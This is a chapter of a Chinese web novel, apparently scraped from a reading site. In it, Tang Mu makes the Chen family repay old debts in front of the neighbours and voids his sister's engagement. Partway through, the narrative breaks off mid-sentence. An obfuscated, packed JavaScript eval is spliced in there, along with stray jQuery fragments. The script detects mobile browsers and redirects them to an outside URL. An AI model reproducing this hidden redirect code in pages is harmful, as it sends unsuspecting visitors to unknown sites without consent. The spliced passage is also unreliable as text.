默认冷灰
24号文字
方正启体

5. 银钱两清

作者:芒兔七本书字数:K更新时间:
    苗桂枝果然担心闹到周家去,脸色变得十分难看,她倒是想再犟嘴几句,终究还是怕闹太僵,话到嘴边却又咽了回去。


    最后只能扯了扯嘴角:“不是要算账吗?那就算算清楚吧!”


    老沈头和葛三娘对视一眼,眼中都有几分讽意,还是看向唐睦。


    唐睦唇角一勾,冷冷笑了声:“既如此,就劳烦沈爷爷、葛婶子和各位街坊了,帮我们做个见证。”


    他也不进陈家院子,就在门外,当着众街坊邻居的面,一条一条大声把跟阿姊商议过的账目背出来。


    “元和初年,大雪封路,北境粮价疯涨。那年我们都艰难,你们陈家米缸里一粒粮食都没了,是我祖父花高价从粮店买了两袋粮,分了一袋给你们——那一袋米,值二百文。”


    苗桂枝忍不住想辩驳。


    毕竟平日那袋米才五十文,二百文,那不是抢钱吗?


    可在众目睽睽之下,到底没敢张嘴。毕竟当年价高,老唐头应该就是花二百文买下的。


    唐睦不是没看见她欲言又止的样子,心里越发觉得阿姊的计划没错。


    陈文彦杀人合该偿命,可就算真把人送去官府,顶多也不过一命抵一命,更何况阿姊如今并无大碍。若是陈家人肯花些钱粮上下打点,闹到最后,多半也只是不了了之。


    与其如此,不如用他们自己的法子来解决。


    而让对方付出代价之前,还是先把这些年白拿去的东西讨回来,顺便让街坊们彻底看清这对母子俩的嘴脸。


    他眼神微冷,继续道:“元和三年,苗婶子你染了时疫,烧得浑身滚烫,人事不醒。陈大哥在军中不便照料,是我祖父请的大夫,给你用的药是最好的,阿姊那几天没合过眼,天天为你熬药换帕……当时的药钱五百文,给大夫的诊金一百文。”


    那年染了时疫可不止她一户,不少街坊的亲人送了命,大家都印象深刻。唐睦报出来的数,真真只算了药和诊金,没多要一文钱。


    苗桂枝就算想反驳,都根本找不到由头。


    而唐睦还在继续:“再有,这些年春耕,你家年年总说无钱无粮,两家军田的种子、农具、耕牛照例都是我家一道出的。两家都是三十亩地,连着六年的花销三十两,你们该出一半,便是十五两。”


    十五两这个数一出,苗桂枝胸口一阵滞闷,脸色一下白了,再忍不住尖叫起来:“十五两!你怎不去抢?”


    唐睦面无表情,看向老沈头等人,恭声问道:“沈爷爷,您老觉得,这账可有不对?”


    老沈头冷冷瞥了苗桂枝一眼,淡淡哼声:“只少不多。苗氏,你要是觉得不妥,就把这几年的花销一笔笔摊开算。咱们榆树巷里军田佃出去种的不在少数,家家户户都有账本,大家伙儿对照着来算算,不是什么难事。”


    苗桂枝听到这话,心里一慌,正想说什么,唐睦便笑了声,道:“既如此,就摊开来算算吧。”


    唐睦来时做足了准备,自家的账本就带在身上,说完便掏出来,翻开便将历年来春耕一项的支出一一念出来,种子花钱几何,租耕牛用粮几何,合计银钱几何,一样一样清清楚楚。


    他报得不紧不慢,账本一页页翻,看热闹的邻居跟着点头,都说无误。


    算到最后,账面明明白白,六年合起来足足三十七两六钱。


    老沈头手指头掰了掰,扭头看向苗桂枝:“这么算下来,两家平摊,你陈家该出十八两八钱。”


    苗桂枝后悔不迭,算个账两炷香的功夫就多出三两八?她连忙说:“按原先说好的,十五两就行!”


    唐睦冷冷挑眉:“婶子,咱们还是按照明细来吧,免得日后说不清。”


    说完继续翻账本,挑拣着又说了几个支出,有陈文彦从军时打点上官的花销,又有冬日囤菜买炭跟他家暂借的银钱,加加减减三十三两八钱。


    这会子邻居哪里还听不出?


    唐家这孩子分明给留了余地,原本是想凑个整数三十两,偏偏苗桂枝自己要作妖,才多出个零头。


    苗桂枝一听这个数字,当即脚下一软,连站都站不稳了。


    她这些年能跟唐家要得到的,自己绝对不出钱,儿子的饷银、平日零碎的进项全都死死攥在手里,还真叫她给存出了三十两银,可这也已经是他家全部的积蓄了。


    眼下要她全数吐出来,不是要了她的命吗?


    苗桂枝原本还想在具体账目上赖账,找由头混过去,可唐睦说得桩桩件件,每个条目都有人证,左邻右舍有目共睹的。日常琐碎周济他竟然一件都没提,单单拣那些救命的、大头的来说道,叫她再想抵赖也赖不掉。


    旁人的眼光,苗桂枝平日里一向不放在心上,可今天不同,四下街坊看向他们母子俩的鄙夷,像刀子似的剜在背后,戳得她脊梁骨发凉。


    陈文彦也在这样的目光中无法遁形,只觉得浑身上下都被人扒得干干净净。


    他心里清楚,这些年家里吃穿住行都靠唐家,自家开销非常小,而他娘平时也挺会搜刮钱的,按理说这个钱不是拿不出来。


    陈文彦生怕搞砸了自己前程,连忙抢在母亲前头开口:“该给的就给,这钱……我们认了!”


    苗桂枝被儿子的傻大方气得眼前一黑。


    但一边是唐睦不给钱就去周家的无声威胁,一边是儿子心虚求救的目光,苗桂枝再舍不得,也只能咬着后槽牙,把这口气往肚里咽。


    她忍着头晕目眩转身回屋,从柜子里找出藏钱的瓦瓮。


    里头零零散散的碎银子和铜板,都是她这些年省吃俭用的存下来的。


    “我的钱……”苗桂枝手指都在发抖,让她把这些钱都给唐家,那不如让她去死。


    苗桂枝的心都在滴血,守着这瓮银子,迟迟不肯出去。


    外头陈文彦被催得熬不住,只得自己进屋,看着母亲对着瓦瓮流泪不舍,心里也颇不是滋味,低声说:“娘,这些先给他们。等我娶了周家娘子,再怕挣不回来?眼下周家才是最重要的!”


    周家!


    是的,周家!


    苗桂枝心神一振。


    唐家如今已经没救了,唐老头死了,留下两个不顶事的孩子,今年春耕的钱不仅要不到,差点还要倒贴。可周家不一样,周家不止有钱,还军中还很有势力,这不还没正经议婚事,就先给儿子升了小旗。


    想到这个,苗桂枝也不伤心了,抹了把眼泪:“是的,周家才是要紧的。”


    “去,把这些钱都给他们,但有个条件,叫他们不要胡说八道,别让周家人觉察了。”苗桂枝纵使心中千百般不舍,还是咬着牙,闭眼将存银的瓦瓮往儿子手里一塞。


    “真是些没良心的讨债鬼,烂了心肠的,怎么就没一起淹死了!”


    陈文彦听了心里一震,连忙让她噤声,苗桂枝也自觉说错了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901870|176676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话,抿了抿嘴。陈文彦接了瓦罐,也不多看,大步往院外走去。


    外头,唐睦接过瓦瓮,当着众街坊的面,找来银秤仔仔细细地称了。


    “三十三两八钱。”


    所有的碎银加起来,竟然将将好三十三两五钱。他又在那瓦瓮里数了三百个铜板,清点完毕,瓦瓮里竟还剩了不少铜板。


    街坊们见陈家竟能拿出这一大瓮银子,不免都惊得目瞪口呆。


    “这陈家母子见天哭穷,竟然有这么多家底?”


    “你们没听见吗?这么些年,吃的用的,全是唐家出钱,他们可不得攥些出来?”


    “看不出,陈文彦这小子长得人高马大,吃起软饭来一点不客气。”


    “唐家还是很厚道的……”


    人群里窃窃私语声一阵高过一阵,陈文彦听得脸皮发烧,却不敢多说什么,只对唐睦低声道:“睦哥儿,事已至此,咱们两家,就两清了吧?”


    唐睦淡淡瞥他一眼,伸手从怀里掏出一张纸,展开给众人看:“这是我阿姊与陈大哥的婚书。如今两家银钱算清,从此两不相欠,这桩婚事也作废。”


    说完,他将婚书撕成碎屑,一阵风吹来,纸屑飘散。


    他抬眼看向陈文彦:“陈大哥,你家的那份,也请拿出来,当着大伙撕了吧。”


    陈文彦望着那些被吹散的纸屑,不知怎的,心中涌现某种不安。


    他抿了抿唇,看了眼周围看热闹的人,扯出个勉强的笑:“……稍等。”


    说完转身进屋,把藏在箱底的那张婚书翻了出来。


    军户结亲,按理该报备上官,可他和唐宛年纪未到,只是先立了婚书,原本打算等正式结亲的时候再去官里登册。如今婚书一撕,往后两家再无牵连。


    陈文彦低头看着手里的婚书,想起这些年,无论大事小事都习惯往唐家去,唐爷爷能给银钱上的帮助,宛娘则总能让他宽心,就连唐睦小小年纪,也十分稳重,凡事都能商量几句。


    他们一家人的存在,常常让陈文彦觉得,不论遇到什么事,都能有条后路。


    可现在,这条后路,却被他亲手斩断了。


    不过,如今唐爷爷已经死了,这对姐弟对自己又能有什么助益呢?难道就为了心中那点不舍,连自己的前程都不要了吗?


    想到这,陈文彦深吸一口气,拿起婚书,大步走出去,交到唐睦手里。


    唐睦接过去展开一看,确定是婚书无误,便随手一撕,碎纸如雪,随风卷到天际。


    苗桂枝跟着出来,见状尖刻一笑:“从今往后,我们陈家跟你们唐家再无瓜葛,老死不相往来。”


    唐睦冷冷看了她一眼,并不搭理,转身朝看热闹的街坊们深深作了一揖:“今日多谢各位叔伯婶娘做见证,等我阿姊醒了,必登门道谢。”


    他说着,又看向老沈头和葛三娘,诚恳道:“谢谢沈爷爷,谢谢葛婶子。”


    老沈头叹了口气,拍了拍他肩膀,语气里带着几分复杂:“回去照顾你阿姊吧!”


    唐睦年纪小,但这事儿办得周全。既要回了一些损失,又没有把事情做绝,行事相当有风度。反观陈家这母子俩,真是太不地道了,真真叫人心寒。


    老沈头跟周百户年轻时有些交情,但毕竟不是很熟,不好干涉他人家事,只隐隐为对方感到难堪。


    肃北营里那么多好男儿,怎么偏偏看中了这家。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)